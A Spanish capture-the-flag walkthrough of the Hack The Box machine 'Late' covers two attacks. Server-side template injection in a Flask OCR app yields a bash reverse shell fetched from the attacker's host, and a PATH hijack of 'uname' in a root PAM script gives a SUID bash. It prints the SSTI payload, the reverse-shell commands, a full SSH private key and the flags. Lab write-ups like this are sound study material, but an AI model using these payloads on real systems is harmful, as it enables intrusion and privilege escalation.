Late
6 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.156
- Fecha: 23 / 04 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.156 -p 22,80
Nmap scan report for 10.10.11.156
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
| 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.25 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.156
, veremos una página web que habla de fotos:
En el pie de página, se ve support@late.htb
, lo cual indica que puede haber virtual hosts configurados. Vamos a usar ffuf
para enumerar subdominios:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.11.156 -H 'Host: FUZZ.late.htb' -fw 828
images [Status: 200, Size: 2187, Words: 448, Lines: 64, Duration: 302ms]
Ahora, podemos poner images.late.htb
en /etc/hosts
y acceder:
Se trata de una aplicación web montada en Flask (un framework web de Python) que toma una imagen y extrae el texto contenido. Vamos a probar esta funcionalidad con la siguiente imagen (tomada como una captura de pantalla de la terminal):
El servidor automáticamente nos descarga un archivo results.txt
. Vamos a usar curl
mejor:
$ curl images.late.htb/scanner -F file=@Late-test-image.png
<p>Test
</p>
Acceso a la máquina
Esto es interesante, está renderizando el texto en la respuesta HTML. Como está ejecutando Flask, podemos probar Server-Side Template Injection (SSTI) en Jinja2 (el motor de plantillas por defecto de Flask):
$ curl images.late.htb/scanner -F file=@Late-test-ssti.png
<p>49
</p>
Y muestra 49
(7*7
); por tanto, es vulnerable.
Explotación de SSTI
Vamos a conseguir ejecución remota de comandos con el siguiente payload de PayloadsAllTheThings:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
En lugar de id
, queremos una reverse shell en el sistema.
Esta vez, no codificaré el comando en Base64 porque la aplicación web puede fallar al extraer el texto. En cambio, puedo hacer que el servidor realice una petición GET a mi máquina para descargar un archivo index.html
que contenga el comando de reverse shell e interpretarlo con Bash:
$ vim index.html
$ cat index.html
#!/bin/bash
bash -i >& /dev/tcp/10.10.17.44/4444 0>&1
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
Ahora que está todo preparado, enviamos la imagen:
$ curl images.late.htb/scanner -F file=@Late-rce-ssti.png
Recibimos la petición GET para el index.html
:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.156 - - [] "GET / HTTP/1.1" 200 -
Y nos llega la reverse shell a nc
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.156.
Ncat: Connection from 10.10.11.156:54444.
bash: cannot set terminal process group (1206): Inappropriate ioctl for device
bash: no job control in this shell
svc_acc@late:~/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
svc_acc@late:~/app$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
svc_acc@late:~/app$ export TERM=xterm
svc_acc@late:~/app$ export SHELL=bash
svc_acc@late:~/app$ stty rows 50 columns 158
En este punto, podemos leer la flag user.txt
:
svc_acc@late:~/app$ cd
svc_acc@late:~$ cat user.txt
3a121d4b78598d9e1d214af6647f1027
Enumeración del sistema
Somos usuario svc_acc
. Vamos a buscar qué archivos y directorios pertenecen a svc_acc
:
svc_acc@late:~$ find / -user svc_acc 2>/dev/null | grep -vE 'proc|sys|run|home'
/usr/local/sbin
/usr/local/sbin/ssh-alert.sh
/dev/pts/0
Hay un script en Bash:
svc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
Parece que está relacionado con los inicios de sesión por SSH: Vamos a ver si hay algún otro archivo que referencie a ssh-alert.sh
:
svc_acc@late:~$ grep -r ssh-alert.sh / 2>/dev/null
/etc/pam.d/sshd:session required pam_exec.so /usr/local/sbin/ssh-alert.sh
^C
Hay un PAM (Pluggable Authentication Module) que utiliza ssh-alert.sh
.
Nos damos cuenta de que el script está guardado en /usr/local/sbin
, y la variable PATH
tiene este directorio el primero:
svc_acc@late:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Además, somos capaces de escribir en /usr/local/sbin
porque este directorio nos pertenece:
svc_acc@late:~$ ls -l --time-style=+ /usr/local
total 32
drwxr-xr-x 2 root root 4096 bin
drwxr-xr-x 2 root root 4096 etc
drwxr-xr-x 2 root root 4096 games
drwxr-xr-x 2 root root 4096 include
drwxr-xr-x 4 root root 4096 lib
lrwxrwxrwx 1 root root 9 man -> share/man
drwxr-xr-x 2 svc_acc svc_acc 4096 sbin
drwxr-xr-x 7 root root 4096 share
drwxr-xr-x 2 root root 4096 src
Escalada de privilegios
El script en Bash anterior está ejecutando comandos sin especificar la ruta absoluta, por lo que seremos capaces de crear archivos ejecutables que sobrescriban a los legítimos. Por ejemplo, uname
.
La ruta absoluta normal para uname
es:
svc_acc@late:~$ which uname
/bin/uname
Pero vamos a crear un nuevo archivo ejecutable uname
que active el privilegio SUID a /bin/bash
:
svc_acc@late:~$ cat > /usr/local/sbin/uname
#!/bin/bash
chmod 4755 /bin/bash
^C
svc_acc@late:~$ chmod +x /usr/local/sbin/uname
Como el uname
malicioso está en /usr/local/sbin
y este directorio está primero en la variable de entorno PATH
, el comando uname
será el nuestro:
svc_acc@late:~$ which uname
/usr/local/sbin/uname
Podemos tratar de acceder por SSH y probar con contraseñas aleatorios, pero el script ssh-alert.sh
no se ejecuta, y por tanto, /bin/bash
no es SUID aún.
Por tanto, podemos deducir que necesitamos iniciar sesión correctamente. Para ello, vemos que svc_acc
tiene un directorio .ssh
:
svc_acc@late:~$ ls -la
total 40
drwxr-xr-x 7 svc_acc svc_acc 4096 Apr 7 13:51 .
drwxr-xr-x 3 root root 4096 Jan 5 10:44 ..
drwxrwxr-x 7 svc_acc svc_acc 4096 Apr 4 13:28 app
lrwxrwxrwx 1 svc_acc svc_acc 9 Jan 16 18:45 .bash_history -> /dev/null
-rw-r--r-- 1 svc_acc svc_acc 3771 Apr 4 2018 .bashrc
drwx------ 3 svc_acc svc_acc 4096 Apr 7 13:51 .cache
drwx------ 3 svc_acc svc_acc 4096 Jan 5 10:45 .gnupg
drwxrwxr-x 5 svc_acc svc_acc 4096 Jan 5 12:13 .local
-rw-r--r-- 1 svc_acc svc_acc 807 Apr 4 2018 .profile
drwx------ 2 svc_acc svc_acc 4096 Apr 7 11:08 .ssh
-rw-r----- 1 root svc_acc 33 Apr 21 11:24 user.txt
Además, tiene una clave privada de SSH:
svc_acc@late:~$ cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
bgjRSynr2NuDWPQhX8OmhAKdJhZfErZUcbxiuncrKnoClZLQ6ZZDaNTtTUwpUaMi
/mtaHzLID1KTl+dUFsLQYmdRUA639xkz1YvDF5ObIDoeHgOU7rZV4TqA6s6gI7W7
d137M3Oi2WTWRBzcWTAMwfSJ2cEttvS/AnE/B2Eelj1shYUZuPyIoLhSMicGnhB7
7IKpZeQ+MgksRcHJ5fJ2hvTu/T3yL9tggf9DsQIDAQABAoIBAHCBinbBhrGW6tLM
fLSmimptq/1uAgoB3qxTaLDeZnUhaAmuxiGWcl5nCxoWInlAIX1XkwwyEb01yvw0
ppJp5a+/OPwDJXus5lKv9MtCaBidR9/vp9wWHmuDP9D91MKKL6Z1pMN175GN8jgz
W0lKDpuh1oRy708UOxjMEalQgCRSGkJYDpM4pJkk/c7aHYw6GQKhoN1en/7I50IZ
uFB4CzS1bgAglNb7Y1bCJ913F5oWs0dvN5ezQ28gy92pGfNIJrk3cxO33SD9CCwC
T9KJxoUhuoCuMs00PxtJMymaHvOkDYSXOyHHHPSlIJl2ZezXZMFswHhnWGuNe9IH
Ql49ezkCgYEA0OTVbOT/EivAuu+QPaLvC0N8GEtn7uOPu9j1HjAvuOhom6K4troi
WEBJ3pvIsrUlLd9J3cY7ciRxnbanN/Qt9rHDu9Mc+W5DQAQGPWFxk4bM7Zxnb7Ng
Hr4+hcK+SYNn5fCX5qjmzE6c/5+sbQ20jhl20kxVT26MvoAB9+I1ku8CgYEA0EA7
t4UB/PaoU0+kz1dNDEyNamSe5mXh/Hc/mX9cj5cQFABN9lBTcmfZ5R6I0ifXpZuq
0xEKNYA3HS5qvOI3dHj6O4JZBDUzCgZFmlI5fslxLtl57WnlwSCGHLdP/knKxHIE
uJBIk0KSZBeT8F7IfUukZjCYO0y4HtDP3DUqE18CgYBgI5EeRt4lrMFMx4io9V3y
3yIzxDCXP2AdYiKdvCuafEv4pRFB97RqzVux+hyKMthjnkpOqTcetysbHL8k/1pQ
GUwuG2FQYrDMu41rnnc5IGccTElGnVV1kLURtqkBCFs+9lXSsJVYHi4fb4tZvV8F
ry6CZuM0ZXqdCijdvtxNPQKBgQC7F1oPEAGvP/INltncJPRlfkj2MpvHJfUXGhMb
Vh7UKcUaEwP3rEar270YaIxHMeA9OlMH+KERW7UoFFF0jE+B5kX5PKu4agsGkIfr
kr9wto1mp58wuhjdntid59qH+8edIUo4ffeVxRM7tSsFokHAvzpdTH8Xl1864CI+
Fc1NRQKBgQDNiTT446GIijU7XiJEwhOec2m4ykdnrSVb45Y6HKD9VS6vGeOF1oAL
K6+2ZlpmytN3RiR9UDJ4kjMjhJAiC7RBetZOor6CBKg20XA1oXS7o1eOdyc/jSk0
kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==
-----END RSA PRIVATE KEY-----
Podemos copiarla a nuestra máquina y conectarnos por SSH sin proporcionar contraseña y veremos que /bin/bash
es ahora SUID:
$ vim id_rsa
$ chmod 600 id_rsa
$ ssh -i id_rsa svc_acc@late.htb
-bash-4.4$ source ~/.bashrc
svc_acc@late:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
Finalmente, ejecutamos bash -p
para decirle a Bash que use el privilegio SUID y ya somos root
:
svc_acc@late:~$ bash -p
bash-4.4# cat /root/root.txt
c54e75a791e86353a647700ab1878431